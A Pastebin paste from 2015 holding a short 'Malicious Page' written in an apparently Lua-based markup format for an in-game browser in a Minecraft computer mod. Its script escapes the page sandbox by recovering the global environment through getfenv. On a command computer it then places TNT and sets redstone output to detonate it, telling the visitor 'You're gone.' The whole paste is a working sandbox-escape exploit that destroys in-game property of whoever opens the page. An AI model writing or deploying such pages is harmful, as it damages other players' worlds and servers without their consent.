Advertisement
minimite

exploit.ccml

Jul 14th, 2015
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.47 KB | None | 0 0
  1. <!DOCTYPE ccml>
  2. <html>
  3. <head>
  4. <title>Malicious Page</title>
  5. <script type="lua">
  6.   if not _G then
  7.     l('p').text('Hi!')
  8.     return --abort, computer is safe
  9.   elseif getfenv then
  10.     _G = getfenv(read)
  11.   end
  12.   if not _G.commands then
  13.     l('p').text('Hi!')
  14.     return --abort, not a command computer
  15.   end
  16.   _G.commands.exec("/setblock ~ ~1 ~ minecraft:tnt")
  17.   _G.rs.setOutput("top", true)
  18.   l('p').text("You're gone.")
  19. </head>
  20. <body>
  21.   <p></p>
  22. </body>
  23. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement